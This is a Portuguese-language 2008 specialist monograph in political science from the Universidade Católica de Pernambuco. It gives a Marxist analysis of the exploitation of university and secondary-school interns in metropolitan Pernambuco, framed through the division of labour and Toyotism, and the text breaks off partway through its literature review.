A REALIDADE DOS ESTAGIÁRIOS  DE PERNAMBUCO NA VISÃO DO CAPITAL VERSUS TRABALHO

A REALIDADE DOS ESTAGIÁRIOS DE PERNAMBUCO NA VISÃO DO CAPITAL VERSUS TRABALHO

UNIVERSIDADE
CATÓLICA DE PERNAMBUCO

PRÓ-RETORIA ACADÊMICA

PÓS-GRADUAÇÃO EM CIÊNCIA POLÍTICA

LUCIANO DA SILVA OLIVEIRA

A REALIDADE DOS ESTAGIÁRIOS DE NÍVEL SUPERIOR E MÉDIO DA
REGIÃO METROPOLITANA DE PERNAMBUCO

NA VISÃO DO CAPITAL VERSUS TRABALHO

RECIFE-2008

LUCIANO
DA SILVA OLIVEIRA

A REALIDADE DOS ESTAGIÁRIOS DE NÍVEL SUPERIOR E MÉDIO DA
REGIÃO METROPOLITANA DE PERNAMBUCO

NA VISÃO DO CAPITAL VERSUS TRABALHO

Monografia
apresentada ao Programa de Pós-Graduação da Universidade Católica de
Pernambuco, como parte dos requisitos para obtenção do título de Especialista em Ciência Política, orientada pelo Professor Dr. Edijece Martins Ferreira.

RECIFE-2008

AGRADECIMENTOS

Ao professor doutor Edijece por sua
paciência, humildade e compreensão.

À minha família pelo apoio e estímulo a
concretização desse sonho.

Dedicatória.

Dedico este sonho ao meu velho pai
falecido recentemente, bem como a todos os amigos, familiares e parentes.

Para os evangélicos o mistério é a
fé. Para os cientistas o mistério é a revolução, o pensamento e a prática.

                Charles Darwin.               

SUMÁRIO

1  INTRODUÇÃO……………………………………………………………………………….

2  OBJETIVO ……………………………………………………………………………………

3  METODOLOGIA ……………………………………………………………………………

4  JUSTIFICATIVA …………………………………………………………………………….

5 REVISÃO DE LITERATURA……………………………………………………………….

5.1 Crise Capitalista, Reestruturação
Produtiva e Toyotista ………………………..

5.2 A Origem do Fenômeno Estagiário……………………………………………………

5.3 A Remuneração dos Estagiários……………………………………………………….

5.4 A Nova Lei do Estágio…………………………………………………………………….

5.5 Das Garantias dos Estagiários………………………………………………………….

CONSIDERAÇÕES FINAIS…………………………………………………………………..

REFERÊNCIAS………………………………………………………………………………….

1  INTRODUÇÃO

 

Mesmo para Adam Smith (1988), para quem a divisão do trabalho propiciava
superioridade tecnológica por meio do crescimento da habilidade individual de
cada trabalhador, da economia de tempo e da invenção de máquinas, que permite a
um homem dirigir para um único objeto muito simples toda a sua atenção, era
impossível negar as conseqüências nocivas da divisão do trabalho. Para ele, tal
divisão imbecilizava o trabalhador quando o separava do saber de seu processo
de trabalho; o degenerava, pois a uniformidade de sua vida destruía seu ânimo e
o incapacitava a realizar outra tarefa que não aquela para a qual havia sido
adestrado e, finalmente, reproduzia as desigualdades sociais.

No contexto histórico atual, Mészáros (2002), referindo-se à divisão do trabalho,
sustenta que o domínio de uma classe sobre a outra foi sendo efetivado por meio
da gestão e administração do sistema com base na gerência científica e
disciplina capitalista. Assinala que o ideário da gerência científica é a
separação entre a concepção do trabalho e sua execução. No modelo proposto por
João Bernardo, é a classe dos gestores que tem dominado a classe trabalhadora.
Os gestores “são a classe capitalista que, contemporânea da gênese deste modo
de produção, expande-se e reforça-se

Com o crescimento econômico, confundindo-se com ele o seu eixo de evolução”
(BERNARDO, 1991, p. 216). Para o autor, a existência social dos gerentes/gestores
e de suas relações com o trabalho mostra que a questão básica para o sistema é
a alienação progressiva dos processos de trabalho e a detenção de seu controle
pela gerência. Refere que, no processo histórico do sistema capitalista, a
burguesia definha para alimentar a outra classe capitalista em expansão.

Ao mesmo tempo em que Bernardo (2004) chega à conclusão de que os gestores
têm sido os responsáveis pela gestão e administração da sociedade com base na
disciplina capitalista, amplia a sua análise e tira duas conclusões.

Em primeiro lugar, o capitalismo é um sistema totalitário no seu fundamento
econômico. Sendo assim, “o totalitarismo não é característica de um ou outro
sistema político, mas do modo de produção capitalista” (Bernardo, 2004, p. 39).
Em segundo lugar, as instituições públicas, responsáveis pelas políticas
sociais, são um dos campos que justificam a existência dos gestores, na medida
em que funcionam como estruturas necessárias à produção do sistema, já que
produzem e reproduzem a força de trabalho.

Na interpretação de Bernardo (1991), a produção da força de trabalho conjuga
três tipos de articulação: a) o local de produção, o meio social por meio do
enquadramento urbano e das instituições públicas e privadas; b) a forma de
produção, como por exemplo, os sistemas públicos de saúde.

Fases do
Capitalismo

 

Pré-capitalismo: período da economia mercantil, em que a
produção se destina a trocas e não apenas a uso imediato. Não se generalizou o
trabalho assalariado: trabalhadores independentes que vendiam o produto de seu
trabalho, mas não seu trabalho, os artesãos eram donos de suas oficinas,
ferramentas e matéria-prima.

Capitalismo Comercial: apesar de predominar o produtor
independente (artesão), generaliza-se o trabalho assalariado. A maior parte do
lucro concentrava-se na mão dos comerciantes, intermediários, não nas mãos dos
produtores. Lucrava mais quem comprava e vendia mercadoria, não quem produzia.

Capitalismo Industrial: o trabalho assalariado se instala,
em prejuízo dos artesões, separando claramente os possuidores de meios de
produção e o exercício de trabalhadores. Capitalismo financeiro: fase atual. O
sistema bancário e grandes corporações financeiras tornam-se dominantes e
possam a controlar as demais atividades.

Origem do
pré-capitalismo

A emergência do
capitalismo relaciona-se à crise do feudalismo, que deu sinais de esgotamento,
basicamente, do descompasso entre as necessidades crescentes da nobreza feudal
e a estrutura de produção, assentada no trabalho servil. O impacto sobre o
feudalismo foi fulminante, já que o sistema tinha potencialidade mercantil,
isto é, a possibilidade de desenvolvimento do comércio em seus limites.
Senhores foram estimulados a consumir novos produtos e, para tanto, foram
obrigado a aumentar suas rendas.

Neste ensaio,
situaremos, num primeiro momento, o período histórico da mundialização do
capital e suas transformações produtivas , com destaque para o desenvolvimento
de um novo regime de acumulação flexível e seu momento predominante, o
toyolismo. Considerando que o toyotismo é a ideologia orgânica da produção
capitalista, que tende a colocar novas determinações nas formas de ser da
produção e reprodução social. O mundo do trabalho, com destaque para os seus
pólos mais dinâmicos de acumulação de valor e de base técnica mais
desenvolvida, tende a incorporar o espírito do toyotismo. Seu léxico penetra
não apenas a indústria, mas os serviços e a própria administração pública. Por
isso, é importante buscar apreender seus significados históricos e categorias
para explicarmos as mutações estruturais do capitalismo global.

2  OBJETIVO

Este trabalho tem por objetivo enfocar a realidade dos estudantes de
nível superior e médio da Região Metropolitana de Pernambuco, numa visão
capital versos trabalho, que por traz de toda formalidade instituído os mesmos
continuam sendo manipulados como mão-de-obra barata, massa de manobra e
formando um exercito de reserva, sem qualquer perspectiva social, ecônomica e
financeiro.

Do ponto de vista, capital/trabalho, o trabalho mostra que a luta entre classes
é continua, tendo o capital, como sempre, visando de seu poder econômico a
exploração do ser humano e transformando-os em simples mercadorias de produção,
força e lucro.

Por fim, o trabalho apresenta e demonstra que os estudantes epigrafados
formam uma nova classe social na pirâmide, brasileira, sem
garantias,previdenciárias, sociais, políticos e econômicos, sendo tratados como
meros compiladores, entre eles, o que não foi preconizado na sua criação,
fundação e desenvolvimento. O que era para completar formação se transformou em
exploração.

Nos
últimos trinta anos de desenvolvimento capitalista, ocorreram transformações
significativas nas diversas instâncias do ser social, com destaque para o mundo
do trabalho e da reprodução social. Desenvolve-se o toyotismo, ideologia
orgânica da nova produção capitalista, ‘momento predominante’ da reestruturação
produtiva do capital. Sob o toyotismo, tende a constituir-se, pelo menos como
‘promessa frustrada’ do capital, o que iremos denominar ‘compressão psicocorporal’.
Esta constitui-se como um elemento da nova disposição sócio-subjetiva
instaurada pelo toyotismo que caracteriza uma nova experiência do corpo, tanto
no processo de trabalho quanto no processo sócio-reprodutivo.

Ingenuidade,
ignorância, contra-senso e falte de conhecimento político, social e econômico
achar que o empresário abre sua empresa aos estagiários apenas no tocante a
ensinar, completar a formação, admissão futura sem uma  devida troca de força
de trabalho, acrescentando a isso a total isenção de tributos sociais. A
exorbitância do respectivo lucro vem justamente daí.Como sempre a  História nos
revela antigamente era apenas a força do trabalho, o tempo desperdiçado para
determinada função, tendo o dinheiro como lucro. Hoje além de tudo isso aparece
à figura da não tributação fiscal e social. A impressão é a de que o nosso
capital é por demais nacionalista. O que é uma mentira.

Como se
forma o processo de produção, qualquer que seja ele e qualquer setor da
economia?

Numa
situação hipotética: coloque um estudante universitário dentro de uma empresa
recebendo vale transporte, vale alimentação um pequeno valor de salário mensal
a título de retribuição de serviços prestados e ligados a sua formação
universitária sem que para isso acontecer, seja feita alguma exigência da venda
de seu produto final. Nasce aí o princípio da inconciliabilidade, pois o
capital seja ele grande ou pequeno não está disposto ao nacionalismo gracioso e
gratuito.

De onde
vem o lucro da força de trabalho dos estagiários?

Muitas respostas
convincentes, porém bastante obscuras do ponto de vista sociológico, pois como
a própria história ensina não existe mercadoria sem força de trabalho muito
menos o lucro. Portanto, a bem da verdade o lucro vem da própria força de
trabalho dos estagiários e trabalhadores.

Aqui, não se pode desconsiderar o trabalho vivo em conjunção com as
formas hierárquicas e autoritárias da estrutura, que, de certa forma, podem
restringir a autonomia dos processos de trabalho. Desse modo, o que se pode
presenciar é uma interação do trabalho vivo com a estrutura, sem que o trabalho
vivo se sobreponha a ela, inserindo-se na estrutura social vigente e acabando
por reproduzi-la.

Pires (1988), ao empregar em sua análise a concepção histórico-cultural
na área de saúde, faz uma crítica dos rumos que as práticas de saúde vêm
seguindo desde as sociedades indígenas até a sociedade colonial e a sociedade
capitalista. Avalia, entre outros aspectos, as repercussões que a sociedade
capitalista trouxe para a organização do trabalho no setor de saúde. O reflexo
verificado a partir do modelo de produção capitalista consiste, conforme a
autora, na organização das instituições assistenciais nos moldes empresariais.
“Surgem mais profissões no campo das ciências humanas e exatas  e o processo de
trabalho em saúde se transforma, convivendo, no mesmo momento histórico, a
divisão técnica e parcelar do trabalho” (Pires, 1988, p. 8).

Por fim, para consubstanciar a perspectiva de análise a que este estudo
se propõe, foi considerado que a atividade de trabalho é de classe e se
desenvolve em uma sociedade não homogênea e, portanto, o todo social é
repartido em posições opostas. Marx (1985), Mészáros (2002) e Bernardo (1991)
defendem que deve ser considerada uma parte da sociedade contra a outra, pressupondo
a polarização social entre os que perdem o controle sobre o trabalho e os que
dele se apoderam.

É possível então propor que a atividade de trabalho acarreta a
contradição em seu processo, e que essa contradição preside a estrutura do
modelo da divisão do trabalho, bem como a demarcação social entre dois pólos:
trabalhadores e gestores.

Se pensarmos em termos de saúde na Região Metropolitana de Pernambuco, é
possível trazer essa perspectiva de análise para o nosso caso particular: os
desdobramentos da divisão do trabalho no setor público do município.do Recife,
por exemplo.

Nas Secretarias Municipais, podem-se observar problemas na estrutura do
modelo de trabalho em saúde,educação e transportes, um deles, a divisão do
trabalho no interior do setor. Os aspectos de organização do trabalho conferem
aos gestores o controle dos mecanismos de decisão e permitem-lhes impor aos
trabalhadores e coletividade os limites estritos para a tomada de decisão
relativa à tecnologia e aos processos de trabalho. Os trabalhadores mostram as
limitações do trabalho imposto pela gestão e, mesmo assim, é a gestão que
estabelece as metas a serem atingidas, os tipos de serviços que serão
oferecidos à coletividade e as formas e características que esses serviços
devem assumir.

3  METODOLOGIA

Com o propósito de dar visibilidade à problemática do
estudo, utilizamos as seguintes técnicas de pesquisa: observação direta do
trabalho Em relação à escala de análise, apoiamo-nos em Pinto (2006), quando diz
que se vem rompendo a idéia de que as particularidades dos objetos de estudo no
âmbito local refletem e delimitam sua amplitude analítica, pois o que se
verifica é que as particularidades de tais estudos são, ao contrário, indícios
reveladores da complexa trama de escalas de eventos que sincronicamente ocorrem
na realidade. Dessa forma, é possível tomar como premissa metodológica que as
particularidades no âmbito do trabalho nos setores observados, encontram-se
inter-relacionadas em um contexto mais amplo, dado que a divisão do trabalho
combinada à gerência científica são fatos históricos, abarcam a vida social e
operam em escala mundial.

Com o propósito de explicitar algumas implicações na
organização do trabalho do setor público, como as condições materiais nas quais
ele se realiza, apoiamo-nos em Facchini (1993), quando afirma que a categoria de
verificação e análise daquilo que se pretende estudar deve ser rigorosa.

Deve levar em conta sua capacidade explicativa e adequação
ao objeto de estudo. Dessas considerações, decorre o privilégio que se deu,
neste estudo à categoria de análise, divisão do trabalho, pois, por meio dela,
é possível reconhecer as repercussões que a organização do trabalho tem sobre
as relações sociais e técnicas que configuram as atividades dos estagiários.
Além disso, é também por meio dela que se estabelece o conflito entre gestores
e trabalhadores, bem como o domínio de um sobre o outro. Constata-se, nesse
ponto a impressão de fuga, medo.

Para a conceituação de dominação no trabalho, tomamos três
aspectos descritos por Marx (1985): a sujeição dos trabalhadores à estrutura, o
não-reconhecimento de sua ação como processo prático de produção material e, finalmente,
o fato de os trabalhadores não assumirem posição de poder ante os processos e a
organização do trabalho.

Para a caracterização de gestores, adotamos o modelo de
gestão proposto por Bernardo (1998). Este modelo é organizado dentro de um
sistema integrado, e os dois elementos sociais – gestores e gerentes – são
agentes que fazem parte de uma hierarquia gestorial, portanto, não se
distinguem. Neste estudo, definem-se, como gestores e gerentes: controle por
metas de produção’ – resulta da contraposição entre as atividades dos
trabalhadores e a divisão do trabalho que é predeterminada pelos gestores por meio
da imposição quantitativa dos serviços que serão oferecidos à coletividade.
Tanto é que, nas condições atuais, as necessidades por serviços. Estagiários
não poderiam estar ligados abater metas de produção.

Por uma variedade de razões, essa tendência pode causar
problemas.

Primeiro, porque essa associação é operada muitas vezes com
base na imposição de alcance da meta, além da capacidade dos trabalhadores.
Segundo, porque os trabalhadores operando no limite de suas capacidades, podem comprometer
a qualidade no atendimento e negar, conseqüentemente, a necessidade do usuário.
Terceiro, porque à medida que a oferta por serviços é ampliada, novas
necessidades dos usuários podem surgir, exigindo dos estagiários,principalmente
os da área de saúde uma grande variedade de intervenções e sobrecarregando-os,
e ainda, o sistema como um todo.

O que até aqui se revela é que a quantidade se impõe ao
trabalho como uma norma. E ao analisarmos exercício do estagiário em 
enfermagem “a quantidade decide tudo”, percebemos a adoção quantitativa do
trabalho como um mecanismo que nivela as intervenções em saúde e uma importante
correlação que a gestão faz entre a quantidade e a necessidade de saúde do
usuário.

Vejamos como a gestão institui esse controle sobre o
trabalho pelo estabelecimento de metas, mesmo que cada trabalhador de saúde
tenha, em determinadas situações, a liberdade de cumpri-las da maneira que
julgar mais adequada.

A decisão de apresentar, nesta parte do estudo, os conflitos
sociais que se estabelecem entre trabalhadores e gestores na produção do
trabalho em saúde resulta da impossibilidade de ignorar as realidades
conflitivas na organização do trabalho pelos trabalhadores com a lógica da
gestão na organização desse trabalho.

Contudo, em um segundo estágio de interpretação, a situação
anterior sugere que essa mobilização coletiva, ao resultar no cumprimento das
metas, se mantém no quadro disciplinar da instituição. Aqui, é notória a
dualidade na intervenção dos trabalhadores que, por um lado, se solidarizam e, por
outro, reordenam o trabalho como forma de legitimar aquilo que a gestão lhes
impõe.

Observamos também, no discurso dos estagiários de saúde, que
é do contato com atividades que os desagradam que vem à tona o comportamento solidário
e faz com que eles arrisquem o conflito.

Ironicamente, nesse caso, as ligações entre os trabalhadores
se fortaleceram.

O conflito, que até então era individual, passou a ser
assumido pelo coletivo, e a substância da relação entre os trabalhadores deu-se
de forma solidária como numa espécie de autoproteção. Colocando as coisas em
outros termos, o que descrevemos deixa transparecer a lealdade partilhada entre
os estagiários /trabalhadores e a resistência ao exercício da violência e da
dominação, explícitos nos modos de gestão do trabalho.

Do mesmo modo, quando determinados comportamentos
individuais que fazem frente às normas impostas pela gestão conseguem remodelar
o comportamento de trabalho das pessoas, passam a ser uma forma coletiva de resistência.

Sócio-reprodutiva do capitalismo global. Nossa hipótese de
trabalho é que, sob o novo regime de acumulação flexível, tende a ocorrer –
pelo menos como promessa frustrada do capital – o que denominaremos
‘compreensão psicocorporal’. Um elemento da nova disposição sócio-subjetiva
instaurada pelo toyotismo que caracteriza o novo modo de articulação
corpo-mente, tanto no processo de trabalho quanto no processo
sócio-reprodutivo.

De certo modo, a suprema contradição sócio-histórica se
constitui sob a mundialização do capital, e que tende a agudeza os fenômenos de
‘estranhamento’, imprime a sua marca na subjetividade do trabalho vivo. Ela se
distingue da forma dominante no sistema taylorista-fordista, que tendia a
‘separar’ corpo e mente. Como salientava Gramsci, com argúcia, sob o fordismo “o
cérebro está livre para outras ocupações”, enquanto o corpo é capturado pelas
prescrições mecanizadas (Gramsci, 1984). Esta relação problemática entre corpo
e mente é um dos elementos de crise do taylorismo – fordismo. Na verdade, sob a
produção toyolista, corpo e mente ‘tendem a ser’ mobilizado pelo capital para
se integrarem à produção do valor. A busca de uma nova implicação subjetiva na
produção ‘pós-fordista’ supõe uma psico-cognitiva, mas uma nova postura
corporal de recompor a subjetividade do trabalho vivo nas condições da
acumulação flexível.

Mais uma vez cabe salientar que estamos diante de uma
‘implicação virtual’, uma ‘promessa’ de emancipação inscrita no toyotismo
(incluso nas instâncias sócio-reprodutivas) ‘frustrada’ pelo capital como
sistema sócio-metabólico. Apesar disso, possui ‘plena efetividade’, pelo menos
no plano da representação imaginaria e simbólica dos sujeitos/agentes sociais.
Isto significa que tal compreensão psicocorporal, como sugerirá neste ensaio, é
tão problemática quanto a suposta cisão corpo-mente que caracterizou a
implantação moderna do capital na produção de mercadorias. (força de trabalho
barata, em determinados da economia, é patente a violência para obtenção do
lucro). Na verdade, é mera expressão de uma contradição lancinante que dilacera
a subjetividade do trabalho vivo na época da decadência histórica do capital (MÉSZÁROS,
2002).

Metabólico do capital que podemos apreender o significado
essencial dos mais diversos processos societários, principalmente aqueles ligados
a instancias da produção e reprodução social.

O capital, em seu processo de expansão global irrefreável e
incontrolável, aparece, mais do que nunca, sob o capitalismo global do século
XXI, como uma totalidade concreta em movimento sistêmico, permeada de
contradições dilacerantes e marcada por algumas características essenciais, que
apresentamos a seguir.

Primeiro, a dinâmica do capitalismo mundial está hoje sob a
hegemonia do capital financeiro, capital especulativo-parasitário que tende a
imprimir sua marca sob as demais frações do capital (o capital industrial e o
capital comercial). O capital financeiro representa aquela fração de
capitalismo que buscam valorizar o capital-dinheiro sem passar pela esfera da
produção de mercadorias, permanecendo, deste modo, no interior do próprio
mercado financeiro. O desprezo pelo investimento produtivo e a busca
avassaladora de rentabilidade liquida e seguros são os principais traços da
natureza do capitalismo financeiro. Ele floresce nos empreendimentos com papéis
(ações, moedas e títulos públicos) que se disseminaram nos últimos vinte anos.
A ‘financeirização” da riqueza origina-se, em suas determinações essenciais,
tanto da busca exacerbada de valorização real por uma crise estrutural de
superprodução do capital, quanto da crise fiscal do Estado capitalista e sua
busca desesperada de financiamento de seu déficit público (ALVES, 2001).

Segundo, o capitalismo global tende a aparecer como o
sistema de metabolismo social da “produção destrutiva”, isto é, ser a expressão
mais desenvolvida da lei da queda tendência da utilização dos valores de uso,
do desperdício generalizado (MÉSZÁROS, 2002).

Terceiro, o capitalismo global tende a ser a expressão
histórica da mais dilacerante contradição do sistema do metabolismo social do
capital, ou seja, a contradição que o capital carrega irremediavelmente
consigo, entre ‘civilização’ e ‘berbárie’, entre o desenvolvimento das forças
produtivas sociais – enquanto “pressupostos negado” (mas efetivo)do processo
civilizatório – e o desenvolvimento das relações sociais do capital e do
capitalismo, postas como obstáculos à plena realização das possibilidades
concretas de emancipação humano-genérica, pressupostas nos objetos de uso,
produto do trabalho socializado e da técnica (ALVES, 2001)

4  JUSTIFICATIVA

Justífica-se o presente trabalha
pelo fenômeno da oferta e da procura  de mão de obra, do valor de troca, e no imenso exercita industrial
de reserva. Por fim e, ineditismo da proposta, quando colocamos urna nova “classe de empregados”
 mesmo de forma
transitória (estagiários), aparece na pirâmide social o novo pilar, totalmente sem direitos,
garantias e sustentabilidade. Por outro lado esse é o ponto importante de
pesquisa, ou seja, a exploração secular do capital sobre o trabalho.

No caso, o capital aparece de forma disfarçada e atuante. Agora com uma
nova roupagem, a do progresso, formação universitária, acumulação de
conhecimento e riqueza, bem como de ascensão social, sobre a alegação de que o
pequeno empregado de hoje será o futuro empregador de amanha. Outra utopia.

Ainda que na realidade da região metropolitana de Pernambuco
efetivamente ocorresse dessa forma, os interesses de comportamento são
inconciliáveis de ambas as partes, neste ponto que o projeto de pesquisa quer
se atrelar.

 Surge, verdadeiramente, o que o ante projeto se destina a levantar
junto à sociedade de que os estagiários são realmente explorados, desviando de
suas reais atribuições ligados a sua formação universitária e o Governo a tudo assiste se
fazendo
de
paternalista, quando na verdade, no caso em tela, é conivente com o empresariado, hora Isentando-o de
tributos hora estimulando a exploração de uma classe capacitada, inteligente e barata. Eis o
futuro de nossos empresários. Também exploradores, pois a homem sofre
influência no meio onde vive. Somos formados a sempre ganhar mais e mais fácil,
ou seja, Com o menor esforço passível e com a maior capacidade de força de
trabalho.

A bem da verdade não existe a origem formal do trabalho pois quando o
homem realiza  o primeiro esforço físico, mental, até como andar colher um
simples fruto. A propósito o ato de nascer não é um trabalho?

O trabalho tem sua origem por mera observação entre o homem e os
animais, quando o primeiro começa a entender que poderia produzir algo.

A palavra trabalho tem sua origem no vocábulo latim “tripaliu”.  –
denominação de um instrumento de tortura formado por três (tri) paus (paliu).
Desse modo, originalmente, “trabalhar” significa ser torturado no tripaliu.
Quem eram os torturados? Os escravos e os pobres que não podiam pagar os
impostos. Assim, quem “trabalhava”, naquele tempo, eram as pessoas destituídas
de posses. A partir daí, essa idéia de trabalhar como ser torturado passou a
dar entendimento não só ao fato de tortura em si, mas também por extensão, às
atividades físicas produtivas realizadas pelos trabalhadores em geral:
camponeses, artesões, agricultores, pedreiros etc. tal sentido foi de uso comum
na antigüidade e, com esse significado, atravessou quase toda a Idade Média.

Perdemos a consciência de classe. Somos bastante simples para nos deixar
convencer de que esta consciência, que nos é natural, não se presta para nada.
Repetimos a lógica burguesa como cultural, desde as camadas mais abastadas até
as mais débeis. Cremos quase como fé, que o trabalho é caro e que o que importa
é o dito crescimento econômico. Somos, sim, por demais simples! Não há mais
quem grite “livrai-vos deste imposto”. O impostor está dentro da consciência de
cada um de nós, que se esquece do fato de que o trabalho humano é o gerador da
propriedade e da riqueza. Se esta é um direito natural, aquele o é por
primeiro. O trabalho é, portanto, o fundamental da propriedade conforme Locke.

É por esta razão que a Constituição de 1988 nos autoriza a dar este
grito. O fez de forma explicita, embora para maioria o acesso à informação seja
por demais restritos. Quando a Carta de 1988 preceitua que a propriedade
(lembre-se leitor do parágrafo anterior) terá uma função social e que o
trabalho é fundamental da República e direito social, condiciona a acumulação
econômica à dignidade do trabalhador e ao avanço da classe trabalhadora. Se
hoje não mais nos é permitido pensar em uma emancipação social fruto da
revolução proletária, até porque é direito dos trabalhadores a relação de
emprego (artigo 7º, I, da CF/88) nos é autorizado concluir que a propriedade,
em uma ponderação de princípios, cede espaço ao valor social do trabalho
humano. A dignidade do trabalhador é a regra e não a acumulação irracional de
dinheiro.

É por razão que não mais devemos discurso ou notas que classificam o
trabalho humano apenas como custo de produção. O trabalho humano, além de
dignificar, ser um dos elementos de existência humana, é o meio de adquirir a
propriedade e de estabilização, por suas normas limitativas, de tomada de
consciência de classe por parte destes mesmos trabalhadores.

Se a propriedade não é um roubo, pois que constitucionaliza que a origem
da propriedade, o trabalho humano, seja assim como ela, no mundo do ser,
“sagrado e abençoado por Deus”, visto não mãos como custo de produção e
retrocesso econômico, mas como elementos de dignidade humana e de manutenção do
estado em que nos encontramos. Sem dignidade do trabalhador, sem avanços
permanentes no aspecto humano, social e econômico, não é tolerável a acumulação
de patrimônio nas mãos do tomador deste trabalho. É uma questão básica se
hermenêutica constitucional. Basta se fazer uma leitura racional dos preceitos
constitucionais.

A teoria moderna de valor começou com Adam Smith (1776), David Ricardo
(1817) e vários outros autores que compõem o grupo da Escola Clássica de
Economia. Estes autores explicavam a formação dos preços, basicamente, pelos
seus custos de produção. Se uma mercadoria “A” custava, para ser produzido, o
dobro que a mercadoria “B”, o preço da mercadoria “A” seria duas vezes maior do
que o preço de “B”. Mas ficava evidente que essa análise era muito imperfeita.
Como os custos dependem do volume de produção, e (na maioria dos casos) quando
o volume de produção aumenta os custos cai, uma análise da teoria dos preços
precisaria levar em consideração a demanda pelas mercadorias. O estudo da
demanda de um produto é relacionado com sua utilidade. Mas os economistas
clássicos tinham certa dificuldade para lidar com o conceito de utilidade na
formação dos preços. Criaram o paradoxo do pão e do brilhante: como o pão, que
é tão útil, e tão barato e o brilhante, de utilidade relativa, é tão caro? –
perguntavam-se eles, sem obter respostas.

5 REVISÃO DE LITERATURA

 

 

5.1 Crise Capitalista, Reestruturação
Produtiva e Toyotista

A partir da crise capitalista dos anos 1970, que atingiu os países
industriais mais desenvolvidos, instaurou-se um novo regime de acumulação do
capital, a acumulação flexível, que se disseminou pelo mundo capitalista nas
décadas de 1980 e 1990 (HARVEY, 1992). O novo regime de acumulação flexível tendeu
a satisfazer as exigências do capitalismo mundial, sendo adequado às novas
condições de concorrência e de valorização do capital e ao novo patamar da luta
de classes na produção.

Foi o regime de acumulação flexível que constituiu um novo complexo de
reestruturação produtiva cujo momento predominante passou a ser o toyotismo.

Entre os múltiplos modelos produtivos disseminados a partir do modo de
organização taylorista – fordista (modelos sueco, italiano e alemão), o modelo japonês
conseguiu impor-se como o mais adequado àquela etapa de crise estrutural do
capital.

É claro que, de início, o toyotismo foi identificado com o modelo
japonês e com o sucesso da indústria manufatureira japonesa na concorrência internacional.
Durante os anos 70 e 80, várias técnicas de gestão foram importadas do Japão.
Mas, no decorrer da mundialização do capital, o sistema

Toyota com sua filosofia produtivista tendeu a assumir um valor universal
para o capital em processo. Desprendeu-se de seu particularismo nacional.

O toyotismo passou a incorporar uma ‘nova significação’ para além das
particularidades de sua gênese sócio-histórica (e cultural), vinculada ao capitalismo
japonês.

Cabe perguntar: por que o toyotismo pode ser considerado um ‘valor universal’
para a produção de mercadorias sob as condições da mundialização do capital?

Ora, em primeiro lugar, suas condições ontológicas originárias determinaram
suas próprias possibilidades de universalização. É preciso salientar que o
toyotismo é instaurado, originariamente, pela lógica do mercado restrito, surgindo
sob a égide do capitalismo japonês dos anos 50, caracterizado por um mercado
interno débil. Por isso, tornou-se adequado, em sua forma de ser, às condições
do capitalismo mundial dos anos 80, caracterizado por uma crise de
superprodução que coloca novas normas de concorrência. Foi o desenvolvimento
(da crise) capitalista que constituiu, portanto, os novos padrões de gestão da
produção de mercadorias, tal como o toyotismo, e não o contrário.

Em segundo lugar, a constituição do toyotismo tornou-se adequada à nova
base técnica da produção capitalista, vinculada à III Revolução Industrial, que
exige uma nova subjetividade da força de trabalho e do trabalho vivo, pelo
menos dos operários e empregados centrais à produção de mercadorias (as novas
tecnologias de base microeletrônica, em virtude de sua complexidade e alto
custo, exigem uma nova disposição subjetiva do trabalho em cooperar com a
produção). Ora, é o toyotismo que propiciará, com maior poder ideológico, no
campo organizacional, os apelos à administração participativa, salientando o
sindicalismo de participação e os CCQ (Círculos de Controle de Qualidade) —
reconstituindo, para isso, a linha de montagem – e instaurando uma nova forma
de gestão da força de trabalho.

O aspecto essencial do toyotismo é expressar através de seus dispositivos
e protocolos organizacionais (e institucionais) a busca de uma nova hegemonia do
capital na produção como condição política (e sócio-cultural) para a retomada
da acumulação capitalista, uma hegemonia do capital voltada para realizar uma
nova captura da subjetividade do trabalho pela lógica do capital. Ao invés de
perenizar a crise da organização capitalista do trabalho, o toyotismo tende a
instaurar tão-somente novas determinações da luta de classes na produção.

O valor universal do toyotismo como momento predominante do complexo de
reestruturação produtiva, e como nova ofensiva do capital na produção, é
instaurar, no plano da produção de mercadorias, uma ‘nova hegemonia’ do
capital, articulando, de modo original, coerção capitalista e consentimento
operário. De certo modo, o taylorismo-fordismo, sob as condições de
racionalização propiciadas pelo desenvolvimento histórico no século XX,
principalmente nos EUA, tornou-se, a partir dos anos 1920, o pioneiro nesta
articulação entre coerção capitalista e consentimento operário. Com ele,
procurou-se operar, de modo pleno, a subsunção real da subjetividade operária à
lógica do capital, a articulação hábil da ‘força’ (destruição do sindicalismo
de base territorial) com a ‘persuasão’ (altos salários, benefícios sociais
diversos, propaganda ideológica e política habilíssima). Como diria Gramsci
(1984), com o fordismo “a hegemonia vem da fábrica”. De certo modo, o toyotismo
dá continuidade à lógica de racionalização do trabalho na perspectiva da
hegemonia do capital na produção.

Entretanto, no taylorismo e no fordismo, a integralização da subsunção
da subjetividade operária à lógica do capital — a ‘racionalização total’ —
ainda era meramente formal, ou “formal-material”, como poderia dizer Fausto (1989),
já que, como salientou Gramsci, na linha de montagem, as operações produtivas
reduziam-se ao “aspecto físico maquinal” (GRAMSCI, 1984).

É nesse contexto do taylorismo- fordismo que ocorre a decomposição da figura
humana, ou do sujeito (e da subjetividade) do trabalho, tendo em vista que,
como salientamos, no interior da linha de produção de mercadorias o cérebro
tende a separar-se do corpo, imerso nas prescrições tayloristas-fordistas. Um
detalhe: o imaginário modernista do século XX contém tal idéia do ‘corpo
impossível’, que expressa, de certo modo, a implicação subjetiva constitutiva
da lógica taylorista-fordista (MORAES, 2002).

Assim, o fordismo ainda era, de certo modo, uma ‘racionalização
inconclusa’, pois, apesar de instaurar uma sociedade racionalizada, não
conseguiu incorporar as variáveis psicológicas do comportamento operário, que o
toyotismo procura desenvolver através dos mecanismos de comprometimento operário
que aprimoram o controle da dimensão subjetiva pelo capital.

Sob o fordismo, a hegemonia vinha da fábrica, entretanto não se
sustentava apenas sobre ela. O próprio compromisso fordista implicava a
constituição de um modo de desenvolvimento, de base keynesiana, capaz de
sustentar tal racionalização inconclusa na produção do capital.

Se o fordismo não conseguiu incorporar à racionalidade capitalista na produção
as variáveis psicológicas do comportamento operário, o toyotismo o fez com
desenvoltura. A crise do fordismo – keynesianismo e a incapacidade de
constituição de um novo ‘modo de desenvolvimento’ capitalista, na época da
decadência histórica do capital, tenderam a colocar a necessidade de recompor a
forma de subsunção real do trabalho ao capital. Parafraseando Gramsci (1984),
poderíamos dizer que, com o toyotismo, não apenas a hegemonia vinha da fábrica,
mas lá ficava irremediavelmente. Se o fordismo conseguiu ampliar sua base
hegemônica para além da fábrica, o mesmo não ocorre com o toyotismo (embora
